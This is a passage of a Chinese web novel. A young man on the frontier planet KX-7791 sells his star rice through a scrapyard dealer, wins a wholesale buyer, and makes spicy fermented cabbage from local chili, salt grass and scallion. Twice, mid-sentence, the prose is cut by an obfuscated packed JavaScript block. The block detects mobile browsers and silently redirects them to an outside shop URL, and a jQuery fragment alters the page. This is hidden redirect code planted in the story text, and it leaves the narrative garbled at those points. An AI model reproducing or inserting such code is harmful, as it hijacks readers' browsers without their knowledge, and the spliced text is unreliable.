这次回复没有立刻来。夏炎序等了一分钟、两分钟、三分钟。他开始有点紧张——是不是太冒昧了?老周虽然对他友善,但毕竟只是萍水相逢,帮他代销意味着要承担一系列麻烦事:上架商品、处理订单、发货、售后……这些都需要时间和精力。 就在他准备打字说“算了当我没说”的时候,消息来了。 回收站老周 18:27:你小子,脑瓜子转得挺快啊。 回收站老周 18:27:不过你这个思路有问题。 夏炎序的心沉了一下。 回收站老周 18:28:联邦《荒星开发管理条例》第2307条,我刚才帮你查了,你肯定也看过。但是你有没有注意到第2307条的补充条款? 夏炎序一愣。补充条款? 他赶紧翻出之前看的那个页面,往下滚动。在密密麻麻的条文底部,确实有一行小字: “补充条款:荒星开发者在完成首次基础设施评级前,不得从事营利性商业活动,但通过第三方代理销售自产初级农产品的,不在此限。代理销售所得款项由第三方代为保管,仅可用于荒星基础设施建设及经营许可相关费用,不得挪作他用。” 夏炎序盯着这行字,嘴巴越张越大。 所以他不仅可以找人代销,而且代销所得只能用于开店和基建——这恰恰是他需要的。 他回复道:“老周叔,我刚看到了。所以这是合法的?” 回收站老周 18:30:合法。而且联邦农业部门鼓励这种模式,算是给荒星开发者的一条活路。我在这行干了四十三年,经手过好几个荒星开发者的代销业务。不过—— 回收站老周 18:31:不过你这星米,确定能卖出去?联邦农业公司的星米一公斤才八毛,你的定价是一块二,比大公司的还贵。你凭什么让顾客多花钱买你的米? 夏炎序想了想,打字道: “品质。我的星米是优质级的,大公司的普通级星米没法比。而且……我的星米是用地球传统农耕方式种植的,没用过任何化学合成的生长促进剂——只有基础浓缩生长液,那是联邦允许的。这一点,我可以写进商品描述里。” 回收站老周 18:33:没用生长促进剂?你确定?星米三天成熟,不用生长促进剂怎么可能? 夏炎序愣了一下。他确实只用了浓缩生长液——那种翠绿色的、炸成水雾的东西。种植手册上说那是“基础植物营养浓缩液”,他以为就是星际版的化肥。但听老周的意思,好像还有更高级的东西? 他回复:“我只用了浓缩生长液,就是那种基础型的。种植手册上说那是营养液,不是生长促进剂。” 回收站老周 18:35:……你小子是真的什么都不懂啊。 回收站老周 18:35:基础浓缩生长液本身就是生长促进剂的一种。你以为三天成熟是靠什么?靠光合作用?星米的自然生长周期是九十天,浓缩生长液把九十天的养分浓缩在三天里供给植物,这不是促进剂是什么? 回收站老周 18:36:不过你说没用过“化学合成的生长促进剂”倒也没错——基础浓缩生长液是生物制剂,不是化学合成的。联邦那些大型农业公司用的是三代甚至四代生长促进剂,里面有各种增产因子和抗病虫害的基因修饰成分,跟你用的这个完全是两码事。 回收站老周 18:36:所以你那个“没用过化学合成”的宣传点,倒是可以打。不过市场认不认,我就不知道了。 夏炎序消化了一下这些信息。 所以他用的浓缩生长液,相当于地球上的有机肥——天然的、生物的,而不是化学合成的。而大型农业公司用的那些,相当于转基因+化肥+农药的复合体。 他的星米,是“有机”的。 这个概念在星际时代可能不叫这个名字,但本质是一样的——更天然、更传统、没有化学添加。 他忽然觉得,自己手里这四十八公斤星米,可能比之前认为的更值钱。 “老周叔,我想试试。就按1.2星币/公斤上架。卖不出去的话,我自己想办法。” 回收站老周 18:39:行。你把星米寄过来,我帮你上架。不过我话说在前头——我只负责挂上去,有人买了我帮你发货。卖不出去别怪我。 回收站老周 18:39:另外,代销佣金我收百分之十。这是行规,不是我坑你。 夏炎序立刻回复:“没问题!谢谢老周叔!” 回收站老周 18:40:别谢太早。等你卖出去再说。 回收站老周 18:40:对了,你那蛋炒饭下午还寄不寄了? 夏炎序笑出了声。 “寄!马上做!” 他关掉对话框,站起来走向厨房。走了两步又折回来,拿起终端给老周发了最后一条消息: “老周叔,星米我明天一早封装好寄给您。蛋炒饭我现在做。” 回收站老周 18:41:行。快递费到付。 夏炎序摇摇头,笑着把终端揣进口袋,开始生火做饭。 这一次他做得更熟练了。水量精准,火候到位,翻炒的节奏流畅得像一段排练过无数次的乐曲。星葱的香气在小屋里弥漫开来,带着一种让人安心的、属于家的味道。 出锅后,他把炒饭分装进两个封装盒,贴上标签,走到门口的寄送终端前。 这一次他没有犹豫。 “确认投递。” “嗡——” 银灰色的快递舱在涟漪中消失。 然后他回到桌前,开始认真地计算星米的代销方案。 四十八公斤星米,单价1.2星币/公斤,总价值57.6星币。扣除百分之十的佣金——5.76星币,他能拿到51.84星币。 正好够五十星币的经营许可费,还能剩下1.84星币。 如果他能在三天内卖光这批星米,他就可以在三天后缴纳经营许可费,蓝星食铺正式开业。 三天。 夏炎序深吸一口气,打开了星网的“星际快递”小程序,开始填写寄送单。他把四十八公斤星米分装成六个封装盒——每个盒子八公斤——这样既方便运输,也方便老周上架销售时按需分装。 封装盒的重量和尺寸都填好之后,系统弹出了快递费:每盒8.5星币,六盒合计51星币。 □□。 夏炎序盯着这个数字,沉默了一会儿。 五十一星币。如果星米卖出去,这笔钱从销售款里扣。如果卖不出去——他就要欠老周五十一星币的快递费。 他把六盒星米一个一个地放在寄送终端上,每放一盒就按一次确认。 “嗡——” “嗡——” “嗡——” 六道涟漪在空气中依次荡开,六个银灰色的快递舱消失在微型虫洞中。 夏炎序把最后一个空盒子从终端上拿下来,转身回到屋里,把自己扔到床上。 天花板上的裂缝还在。两颗卫星的光透过窗户照进来,在地板上画出银白色的光斑。 他闭上眼睛,脑海中开始盘算另一件事——星网餐厅的运营模式。 在星际时代,星网上的虚拟餐厅和实体餐厅完全是两个概念。客人不需要乘坐飞船跨越星域来他的荒星吃饭,也不需要什么“星际外卖骑手”。每个人都有一个星网接入终端,意识可以投射到星网的虚拟空间中。在这个虚拟空间里,星网会根据用户的需求进行味觉模拟、触觉模拟、痛觉模拟等各种感官投射——比例可以自由调节,从0%到100%。 也就是说,客人可以在星网上“吃”到他的蛋炒饭,味觉体验和真实吃到几乎一模一样。更神奇的是,这种“虚拟进食”会对真实身体产生反馈——星网会将摄入的营养数据同步到用户的身体代谢中,相当于灵魂干饭、□□强壮。这也是为什么星际时代很少有人愿意亲自下厨做饭——既然在星网上动动念头就能获得完整的进食体验和营养补充,谁还愿意花时间精力去处理那些麻烦的食材? 但夏炎序关注的不是这些。他关注的是——星网餐厅的菜品不需要实体快递。 客人在星网上点餐、支付、享用——所有环节都在虚拟空间完成。他只需要在后台确认订单,系统就会自动将菜品数据投射到客人的虚拟餐桌上。没有封装盒,没有快递舱,没有那该死的12.8星币运费。 这意味着,一份蛋炒饭的定价可以大幅降低。 他重新计算了成本:星米0.36星币、蛋白粉0.1星币、油和盐0.05星币、星葱免费,再加上星网平台的手续费约0.5星币——总成本大约1星币。如果定价5星币一份,利润就是4星币。 卖十三份,就能赚回五十星币的开店费。 夏炎序猛地睁开眼睛,从床上坐起来。 等等,那实体快递出去的蛋炒饭呢?那些寄给老周和维克多·陈的样品——那些饭被吃掉之后,食物的“躯壳”去了哪里? 他赶紧在星网上搜索了一下。 答案让他大开眼界。 星网虚拟餐厅的每一份菜品,在虚拟空间被“食用”之后,其对应的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17420242|200807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 实体食材会在一个专门的“食材转化舱”中分解为基础有机质,这些有机质可以被回收利用——最常见的方式是作为农业种植的肥料。 更妙的是,联邦对这种方式有专门的补贴政策:每回收一公斤食品级有机质,可以获得0.2星币的环保补贴。 夏炎序的大脑又开始飞速运转。 一份蛋炒饭三百克,回收补贴就是0.06星币。虽然不多,但积少成多。而且——他忽然想到一个更宏大的循环:他用自己种的星米做炒饭,炒饭在星网上被吃掉,剩饭转化为肥料,肥料用来种下一批星米。 闭环。 零浪费。 他甚至可以买一个沤肥加速器——当然那是以后的事了,毕竟现在他连开店的钱都没有。不过这个念头让他兴奋了好一会儿。 但这些都太遥远了。 他现在能做的,就是等待。 等待老周的消息,等待星米卖出去,等待那五十星币到账。 夏炎序把被子拉过头顶,在被窝里闷声说了一句: “夏炎序,你一定能行。” 然后他翻了个身,沉沉地睡了过去。 梦里,他站在一片无边无际的橘色稻田中,手里端着一碗热气腾腾的蛋炒饭。远处的天空中,无数艘飞船排成一条光带,向着他的方向飞来。 他笑了笑,舀起一勺炒饭,对着天空说: “别急,管够。” --- 第二天清晨,夏炎序是被一阵急促的提示音吵醒的。 “嘀嘀嘀嘀嘀——” 他从床上弹起来,抓起多功能终端。 【星网即时通讯】回收站老周发来了一条消息。 【星网即时通讯】回收站老周发来了一条消息。 【星网即时通讯】回收站老周发来了一条消息。 他的心提到了嗓子眼。 点开对话框。 回收站老周 07:12:小伙子,你的星米我上架了。 回收站老周 07:12:然后—— 回收站老周 07:13:卖完了。 夏炎序盯着屏幕,大脑一片空白。 回收站老周 07:13:六盒,四十八公斤,单价1.2星币/公斤。上架之后大概十五分钟,被一个老客户全包了。 回收站老周 07:14:那个人是做食材批发的,专门收各地的特色农产品。他说你的星米品相很好,橘色很正,颗粒饱满,比农业公司的普通级强太多了。1.2的价格他觉得合理,就全收了。 回收站老周 07:14:扣掉快递费51星币和我的佣金5.76星币,你的净收入是——我算算——57.6减51减5.76,等于0.84星币。 夏炎序的嘴角抽了一下。 0.84星币。 他忙活了一个多月,种了八十公斤星米,留下自己吃的和送人的,卖了四十八公斤,最后到手0.84星币。 他还没来得及消化这个令人崩溃的数字,下一条消息就弹了出来。 回收站老周 07:15:别急,我还没说完。那个批发商说,如果你还有这种品质的星米,他可以长期收。价格可以谈到1.5星币/公斤。而且他愿意预付定金——五十星币。 夏炎序看到这个消息直接在床上表演了一个鲤鱼打挺,结果腰腹力量不够,整个人翻到床的另一边,以一个扭曲的姿势摔在了地铺上。但他顾不上疼,手忙脚乱地爬回床上,死死盯着屏幕。 回收站老周 07:15:他说他叫维克多·陈,是做星际特色食材批发的。他让我转告你,他对你的种植方式很感兴趣——“没用化学合成生长促进剂的星米”,这在联邦市场上很少见。如果你能保证稳定供应,他愿意签一个长期采购合同。 回收站老周 07:16:对了,他还说了一句——他问你能不能给他也寄一份蛋炒饭。快递费他出。 夏炎序坐在床上,手里攥着多功能终端,嘴角翘得压都压不下去。 0.84星币。 不,不是0.84。是五十星币的预付定金。是1.5星币/公斤的长期收购价。是一个食材批发商主动递过来的橄榄枝。 是一个可以让他缴纳经营许可费的、实实在在的机会。 他深吸一口气,开始打字。手指在屏幕上敲得飞快,每个字都带着压不住的兴奋。 “老周叔,请帮我转告维克多·陈先生:第一,星米我还有,下一批预计三天后收获,品质只高不低。第二,预付定金我接受,五十星币刚好够我交开店费。第三,蛋炒饭我马上做,今天中午之前寄到。” 他停了一下,又加了一句: “老周叔,谢谢您。没有您帮忙,我连第一步都迈不出去。” 回收站老周 07:18:少来这套。你要真想谢我,就把店开好了,多做几道菜。我吃了四十三年营养液,好不容易遇到个会做饭的,你可别倒闭了。 夏炎序笑了。 “不会倒闭的。老周叔,您等着,等我的店开起来,菜单上不只有蛋炒饭。” 他关掉对话框,从床上跳下来,脚刚落地就感到一阵眩晕——起太猛了。他扶着床头稳了稳,然后三步并作两步走到窗前,一把推开窗户。 KX-7791的清晨阳光涌进来,暖橙色的光线铺满了整个小屋。远处,那片已经翻好的黑土地在阳光下泛着湿润的光泽,等着他播下新的种子。 他深吸一口气,空气里带着泥土和野草的清冽气息,还有一丝丝——他几乎能闻到的——蛋炒饭的香气。 五十星币。 三天。 不,也许不用三天。 维克多·陈的五十星币预付定金,应该很快就能到账。到时候他就能缴纳经营许可费,蓝星食铺就能正式开业。 而星网餐厅不需要实体快递——这意味着他只需要在后台确认订单,菜品数据就会自动投射到客人的虚拟餐桌上。没有封装盒,没有快递舱,没有运费。一份蛋炒饭定价5星币,成本不到1星币,卖十三份就能赚回开店费。 他的心跳因为这个念头而加速。 夏炎序转过身,走向厨房。今天要做的事情很多:给维克多·陈做蛋炒饭,播下一批星米种子,把那半亩新开垦的地也种上,还要规划一下速生小白菜的用途——光靠星米太单一了,他需要更多的菜品。 但他现在最想做的,是先把那碗蛋炒饭做出来。 因为他忽然意识到一件事—— 蓝星食铺虽然还没开业,但它的味道,已经有人愿意付费了。 哪怕只是快递费。哪怕只是一份样品。 有人愿意为他的味道付费。 这就够了。 夏炎序系上用布条做的围裙,打开食物处理器,开始煮今天的第二锅星米饭。 窗外,那辆破旧的拖拉机静静地停在田边,排气管上还残留着昨天的黑烟痕迹。它可能撑不了太久了——引擎的异响一天比一天严重,变速箱也开始偶尔跳档。但它已经完成了最重要的使命:帮他在这个陌生的星球上,犁出了第一片田。 夏炎序一边切星葱一边想,等挣了钱,第一件事就是给这台老伙计做个大修。 然后他笑了笑,把星葱碎末撒进热油里。 “滋啦——” 香气又一次弥漫开来。 这一次,他不再是一个人孤独地品尝了。这份香气,即将穿越四万公里的空间,到达轨道回收平台;穿越无数光年的距离,到达某个他从未见过的食材批发商的餐桌上。 而最终,它会在星网上,在蓝星食铺正式开业的那一天,飘向整个星际联邦。 夏炎序翻炒着锅里的蛋炒饭,手腕翻转的节奏越来越熟练。 橘色的米粒在锅中跳跃,像一颗颗小小的太阳。 6. 小白菜的逆袭 蛋炒饭寄出去之后,夏炎序站在厨房里,目光落在了角落里那堆速生小白菜上。 三十公斤。 翠绿的叶片堆得像一座小山,在灯光下泛着水灵灵的光泽。这是他三天前辛勤耕种的——本来只是想着这种子便宜,再试试速生作物的生长速度,没想到收获之后根本来不及吃。他和老周的蛋炒饭交易用不上小白菜,维克多·陈的星米收购也不包括这东西,三十公斤小白菜就这么堆在墙角,再不吃就要烂了。 夏炎序蹲下来,拿起一棵小白菜,在手里翻来覆去地看了看。 叶片肥厚,茎部白嫩,闻起来有一股淡淡的清甜味。他掰下一小片叶子放进嘴里嚼了嚼——脆生生的,水分很足,味道介于地球的小白菜和娃娃菜之间,没有苦味,回口甚至有一丝甜。 “可惜没有蒜,”他自言自语,“蒜蓉炒小白菜,我能吃三碗。” 但星际时代哪来的蒜?他在星网上搜过“大蒜”“蒜头”“Allium sativum”这些关键词,搜索结果一片空白。联邦的植物数据库里根本没有这个物种。地球上的葱姜蒜,除了星葱这个“趋同进化”的巧合之外,其他两种连影子都没有。 夏炎序又嚼了一片白菜叶,大脑开始飞速运转。 三十公斤小白菜,不能浪费。怎么处理? 思路一:晒成干菜。他现在所处的荒星大气干燥,日照充足,晾晒条件很好。干白菜可以储存很久,以后做炖菜、包包子都能用上。但这个方案只能解决“保存”问题,不能创造价值。 思路二:做成腌菜。这个念头冒出来的瞬间,夏炎序的脑海中就浮现出了一幅画面——红彤彤的辣白菜,切成一寸见方的小块,码在罐子里,辣椒粉的红色渗进白菜的每一片叶脉,夹一块出来,酸辣脆爽,配蛋炒饭简直是绝配。 辣白菜。 夏炎序的喉咙不自觉地滚动了一下。 但他没有辣椒。没有蒜。没有姜。没有鱼露。没有虾酱。这些地球上的辣白菜必备配料,在星际时代一样都没有。 他需要找到替代品。 夏炎序打开多功能终端,开始在星网上搜索“KX-7791 可食用植物”“辛辣味植物”“发酵用植物”。他之前只关注了星葱,因为那是他第一个发现的、和地球食材味道相似的植物。但这颗星球上一定还有别的。 搜索结果显示:KX-7791的生态调查报告中共收录了二百三十七种可食用植物,其中具有“辛辣味”的有十二种,除了他已知的星葱之外,还有几种他从未注意过的—— “KX-未编号1:叶片呈深绿色,边缘有锯齿,咀嚼时有强烈的辛辣刺激感。分布:KX-7791北半球温带地区。” “KX-未编号2:小型灌木,果实为红色浆果,直径约0.5厘米,含有天然辣椒素类似物。分布:KX-7791全境,多见于向阳山坡。” “KX-未编号3:地下块茎植物,有辛辣味和轻微甜味,纤维细腻。分布:KX-7791南半球湿地。” 夏炎序盯着屏幕,嘴巴越张越大。 这颗星球上不仅有葱,还有芥末、辣椒和姜?他马上将这几种植物命名为星芥、星椒和星姜。 夏炎序从地上弹起来,抓起一个有些旧的布口袋就准备跟着导航走。走到门口又折回来,戴上遮阳帽再出发。打开星网地图——原主的生态调查报告附带了详细的植物分布图。很幸运,星椒标注的位置在小屋东南方向大约两公里处,一个向阳的山坡上。 两公里。不远。 夏炎序把口袋往腰里一别,迈开步子就往外走。走到一半又折回来——他忘了带水。然后又折回去——他忘了关食物处理器。等他第四次折回来的时候,忍不住骂了自己一句:“夏炎序你激动什么,山坡又不会长腿跑了。” 但脚步还是没慢下来。 KX-7791的上午阳光温暖而不灼热,照在黑土地上有一种油画般的质感。夏炎序沿着星网地图指引的方向走了大约二十分钟,脚下的地形开始缓缓上升,泥土的颜色从深黑变成了深褐色,夹杂着一些细碎的砂石。 然后他看到了那片山坡。 山坡不大,大约两三百平方米的样子,朝南的一面被阳光照得明晃晃的。灌木丛稀稀落落地分布在山坡上,大部分是低矮的、他叫不出名字的灰绿色植物。但在这片灰绿色中间,有一簇簇红色的浆果,像一颗颗小灯笼,挂在不到半米高的灌木枝头。 星椒。 夏炎序三步并作两步冲上山坡,蹲在一株星椒前面。浆果只有小拇指尖那么大,呈椭圆形,成熟的是鲜红色,未成熟的偏橙色。他小心翼翼地摘了一颗,放在手心里端详——果皮薄薄的,能看到里面细小的种子。他凑近闻了闻,一股淡淡的辛辣味钻进鼻腔,不浓烈,但非常熟悉。 像辣椒。 他犹豫了一秒,然后把整颗浆果放进嘴里,轻轻一咬。 “嘶——” 一股辣味在舌尖上炸开。不是朝天椒那种火烧火燎的暴烈,而是一种温和的、带着果香的辣,有点像甜椒和微辣辣椒的混合体。辣度确实不高——按照他自己的感觉,大约是地球辣椒的百分之三十。但对于一个在荒星上吃了一个多月野果的人来说,这点辣味已经足以让他的味蕾集体起立欢呼了。 夏炎序的眼眶有点发酸。 不是因为辣。是因为他想起了火锅。想起了红油翻滚的锅底,想起了蘸料碟里的蒜泥和香油,想起了烫到刚好七上八下的毛肚,想起了最后下进去的那包方便面。 他用力吸了一下鼻子,开始认真地采摘星椒。 这一摘就是一个小时。山坡上的星椒灌木大约有二三十株,每一株上都挂着几十颗浆果。夏炎序摘得小心翼翼——他没有合适的容器,只能用那个布袋子,所以每一颗都要轻轻地放进去,不能挤破。成熟的红果大约摘了两公斤左右,他的手被染得通红,指甲缝里全是红色的浆果汁,看来还是出来得太匆忙,考虑不周了。 他满意地掂了掂布袋子的重量,转身往回走。 走到一半,他查询起了星芥和星姜。星芥在北半球温带地区——那太远了,他现在去不了。星姜在南半球湿地——也去不了。但没关系,他有星椒了。有辣味,就成功了一半。 回到小屋,夏炎序把星椒浆果倒在桌上,铺开晾着。然后他走到墙角那堆小白菜前,重新审视这三十公斤“麻烦”。 如果做成辣白菜,他能得到什么? 三十公斤小白菜,腌制后大概能出二十公斤左右的成品。按照他在星网上搜索到的信息,联邦星域内没有任何人在售卖“辣白菜”这种产品——星际时代的主流食物是营养液和合成食品,连新鲜蔬菜都很少有人吃,更别说腌菜了。 这意味着,如果他能做出来,蓝星食铺的菜单上就会出现一道整个星际联邦都从未出现过的菜。 独家。 夏炎序的心跳因为这个念头而加速,又迅速冷静下来。独家不一定是正面反馈,万一星际人不喜欢吃泡菜呢。 但做还是要做的,总要尝试一下。现在有一个现实的问题——辣白菜需要发酵。地球上传统的辣白菜制作方法,是将白菜用盐腌制脱水,然后拌上辣椒粉、蒜末、姜末、鱼露、虾酱等调料,密封发酵三到七天。发酵过程中,乳酸菌会产生酸味和鲜味,让辣白菜的风味变得复杂而深邃。 他没有蒜,没有姜,没有鱼露,没有虾酱。 他只有星椒。 但也许,这就够了。 夏炎序打开星网,开始搜索“星椒发酵”“星椒腌制”“KX-7791 传统食品”——他想看看这颗星球的原生植物有没有被当地人(如果有当地人的话)用来制作腌菜的传统。搜索结果让他失望了:KX-7791在认领之前是无人居住的荒星,没有任何原住民饮食文化。 但他翻到了一条联邦农业研究中心的论文摘要,标题是《仙女座螺旋椒中天然辣椒素类似物的抗菌活性研究》。论文指出,仙女座螺旋椒中的辣椒素类似物对多种腐败菌有抑制作用,但对乳酸菌的活性影响甚微。 星椒虽然不是仙女座螺旋椒,但看基因检测报告,它们是同一个亚属的植物,亲缘关系很近。这意味着,星椒也很可能跟仙女座螺旋椒一样,不仅不会阻碍发酵,反而能帮助抑制杂菌,让乳酸菌更好地生长。 夏炎序盯着这段文字,嘴角翘了起来。 “行了,”他拍了拍手,站起来,“那就试试。” 辣白菜的制作比他预想的要复杂,尤其是在没有任何专用工具的情况下。 第一步:腌制脱水。 夏炎序把那三十公斤小白菜一棵一棵地洗干净——用过滤水,因为小屋的供水系统只能提供过滤水,虽然有点金属味,但总比用脏水强。洗完之后,他把白菜从中间切开,一棵分成两半,码在一个大塑料箱里——就是他从回收站淘来的那个。 然后他开始撒盐。 联邦标准精制盐,颗粒细腻,纯度很高。他一层白菜一层盐地码好,最上面再撒一层薄盐。按照地球上的经验,白菜和盐的比例大约是10:1——三十公斤白菜需要三公斤盐。但他没有三公斤盐。他翻遍了小屋,把所有能找到的盐都搜刮出来,总共只有不到一公斤。 不够。 夏炎序站在那堆码好的白菜前面,皱着眉头想了一会儿。然后他打开星网,搜索“腌制盐替代品”。 搜索结果里出现了一个他从未听说过的词:“星盐草”。 “星盐草:KX-7791原生植物,叶片表面有盐分结晶,晒干后含盐量可达干重的35%。味道与氯化钠相似,带有轻微草木清香。分布:KX-7791内陆盐碱地。” 夏炎序看了一眼分布图——盐碱地在小屋西边大约三公里处。 这次他翻出原主留下的一个破旧大背包,将布口袋、水杯、小花铲和两个小木头盒子装上,带上手套和帽子,全副武装地出门了。 这一次他没有犹豫,也没有折返。三公里的路在KX-7791的阳光下走得他满头大汗,但当他看到那片灰白色的盐碱地上密密麻麻生长的、足有半人高的灰绿色草丛时,所有的疲惫都烟消云散了。 星盐草。 他拔了一株,凑近看。草叶细长,表面覆盖着一层薄薄的白色粉末。他用舌头舔了一下——咸的。纯粹的咸味,带着一点草的清香,没有苦味,没有涩味。 夏炎序蹲下来,开始收割。 星盐草长得非常密集,一平方米的面积上至少有几十株。他用手一把一把地拔,拔到手臂酸痛,背包里装了满满一大袋。他估算了一下,大概有十几公斤鲜草。 回到小屋已经是中午了。他把星盐草摊开在阳光下晾晒——晒干之后研磨成粉,就是天然的咸味调味料。 晾晒需要时间,但辣白菜的腌制等不了那么久。他只能先用手头那不到一公斤的盐把白菜腌上,等星盐草晒干之后再用来调制辣椒酱。 夏炎序把塑料箱盖上盖子,放在角落里。接下来要做的事情还有很多——播种下一批星米、把那半亩新开垦的地也种上、研究星椒酱的制作方法…… 但他忽然停了下来。 他站在小屋中间,环顾四周——墙角堆着三十公斤小白菜,桌上铺着两公斤红色星椒,门外的晾晒架上铺满了灰绿色的星盐草,窗台上的星葱在阳光下轻轻摇晃。 这些食材,没有一样是他从地球上带来的。 星米是仙女座旋臂泰伦星系的原生作物。星葱是KX-7791的原生植物。星椒也是。星盐草也是。 他没有带任何地球的种子过来。他所有的食材,都来自这个陌生的星系、这颗陌生的星球。 但他用地球的味觉记忆、地球的烹饪方法、地球的食谱,把这些陌生的食材组合在一起,变成了他熟悉的、想念的、魂牵梦萦的味道。 夏炎序忽然觉得,这也许是某种隐喻。 地球回不去了。地球的食材也回不去了。但是地球的味道——那种刻在他骨子里的、从童年就开始积累的味觉记忆——不会消失。它会找到新的载体,在这颗陌生的星球上,以一种全新的方式重新生长出来。 他深吸一口气,走到桌前,拿起一颗星椒浆果,放进嘴里。 辣味在舌尖上绽开。 “辣白菜,”他对自己说,“一定会成功。” 然后他系上围裙,开始干活。 接下来的三天,夏炎序忙得像一个陀螺。 第一天:播种第二批星米。这次他种了两亩半——原来的两亩加上新开垦的半亩。他改良了播种方式,不再用手撒,而是用一块薄木板挖了几个浅浅的凹槽,做成一个简易的“播种板”,让种子撒得更均匀一些。浓缩生长液还是那些基础型的——他只剩两颗了,这次只用了一颗,剩下的那颗留着下次用。 第二天:星盐草晒干了。他把干草放在一块干净的石板上,用另一块石头碾磨成粉。灰绿色的粉末散发着淡淡的草香,尝起来咸味纯净,比联邦精制盐多了一丝回甘。他一共磨出了大约三公斤星盐粉——足够他用很久了。当然,以后挣钱了,他要定做一口石磨,把这个加入他的星际待办事项。 然后他开始处理星椒。两公斤新鲜星椒浆果,他用石板碾碎,碾成浓稠的红色酱状。星椒的辣味在碾碎的过程中充分释放出来,呛得他连打了好几个喷嚏,眼泪都流了出来。但他没有停手——他要的就是这个效果。碾好的星椒酱装在一个大碗里,鲜红欲滴,辣香扑鼻。 第三天:腌好的小白菜可以取出来了。夏炎序打开塑料箱的盖子,一股咸鲜的气味扑面而来。白菜已经脱去了大部分水分,叶片变得柔软而有韧性,体积缩小到了原来的一半左右。他用过滤水冲洗了三遍,去除多余的盐分,然后挤干水分,放在一边备用。 接下来是最关键的一步——调制辣椒酱。 夏炎序把碾好的星椒酱倒进一个大盆里,加入星盐粉、切碎的星葱、少量过滤水,搅拌均匀。红色的酱料浓稠适度,辣香和葱香交织在一起,闻起来已经很像地球上的辣白菜酱了。 但他总觉得少了点什么。 蒜。姜。鱼露。虾酱。这些味道是地球 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17420243|200807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 辣白菜不可或缺的组成部分。没有它们,辣白菜的风味就会单一很多。 他站在盆前,盯着红色的酱料,大脑飞速运转。 蒜的味道是辛辣的、刺激的、带有硫化物特有的穿透力。星葱的辛辣味和蒜不太一样——星葱更偏向葱属的清香,缺少蒜的那种“冲劲”。 姜的味道是清新的、微辣的、带有柑橘类的香气。但是姜和蒜他现在都无法获取,等有了足够的钱,他可以买一辆最便宜的飞行器,带他飞跃整个半球去摘取食材。 鱼露和虾酱的鲜味来自于发酵产生的氨基酸和核苷酸。这种鲜味在星际时代可以用什么替代? 他打开星网,开始搜索“KX-7791 鲜味植物”。 搜索结果弹出了一条他之前忽略的信息: “星蕈:KX-7791原生的伞菌类真菌,生长在腐木上,菌盖呈浅棕色,菌褶为淡紫色。干燥后有浓郁的鲜味,含有丰富的鸟苷酸,可作为天然鲜味剂。分布:KX-7791北半球森林地区。” 夏炎序的眼睛亮了起来。 鲜味剂。 他虽然没有星蕈——北半球太远了,他现在去不了——但这条信息给了他一个方向。也许他可以用别的东西来替代鱼露和虾酱的鲜味。 等等。他忽然想到了一样东西。 速生小白菜本身。 白菜在发酵过程中,乳酸菌会分解蛋白质产生氨基酸,这些氨基酸本身就是鲜味的主要来源。地球上的辣白菜不需要额外添加鱼露和虾酱也能发酵成功——鱼露和虾酱是锦上添花,不是必须的。 他的辣白菜,可能不需要那些替代品。只需要星椒、星盐草、星葱,和白菜本身。 发酵。时间会帮他完成剩下的工作。 夏炎序深吸一口气,开始把酱料一层一层地涂抹在腌好的白菜上。每一片叶子都要抹匀,从内到外,从根部到叶尖。红色的酱料覆盖在白菜的每一寸表面,看起来鲜艳欲滴。 抹好酱料的白菜被整整齐齐地码进一个大的密封盒里——这是最后一个能用的容器了。他盖上盖子,但没有扣死——发酵需要排气,密封太严会爆炸。 然后他把盒子放在小屋的角落里,和那袋星米并排。 “好了,”他蹲下来,对着那个盒子说,“剩下的就看你的了。” 盒子里安安静静的,什么声音都没有。但夏炎序知道,在那个密封的小世界里,无数的乳酸菌正在苏醒、繁殖、工作。它们会把白菜中的糖分转化为乳酸,会产生二氧化碳,会改变白菜的质地和风味。 三天后,这盒辣白菜就会初步发酵完成。 七天后,风味会更浓郁。 一个月后,就是正宗的“陈年泡菜”。 夏炎序站起来,拍了拍手上的红色酱料,走到窗前。窗外,第二批星米的秧苗已经从黑土地里冒出头来,嫩绿的叶片在阳光下闪闪发亮。那半亩新开垦的地也已经播下了种子,再过两天就能看到新的绿芽。 他忽然觉得,这间简陋的小屋,这片荒凉的黑土地,正在一点一点地变成他想要的样子。 不是靠什么高科技,不是靠什么金手指。 是靠他的双手。 是靠地球的味觉记忆。 是靠一罐正在角落里悄悄发酵的辣白菜。 夏炎序转过身,打开多功能终端,看了一眼蓝星食铺的后台。 维克多·陈的五十星币预付定金已经到账了。 他的账户余额从0.2星币变成了50.2星币。 那个红色的“未缴费”提示还在。但这一次,夏炎序没有急着点“缴费”。他先打开了商品预登记页面,在“星米蛋炒饭”旁边,新增了一个商品条目。 商品名称:蓝星辣白菜(试制品) 商品描述: “用KX-7791行星自产速生小白菜、原生KX-星椒、原生KX-星盐草和KX-星葱,采用古法传统泡菜工艺手工制作。不添加任何化学防腐剂,自然发酵,酸辣脆爽。目前为试制阶段,预计三天后正式上架。限量供应,售完即止。” 定价:8星币/500克。 夏炎序盯着这个定价看了几秒。八星币五百克,比蛋炒饭贵了不少。但辣白菜是发酵食品,保存时间长,可以作为配菜搭配蛋炒饭销售——客人买了蛋炒饭,加几块钱就能配一份辣白菜,完美。 而且,辣白菜本身也可以作为独立的商品出售。星际联邦的人从来没有吃过这种酸辣口味的发酵蔬菜——这是一个全新的品类,他有定价权。 他点了“保存”,然后退回到商户后台首页。 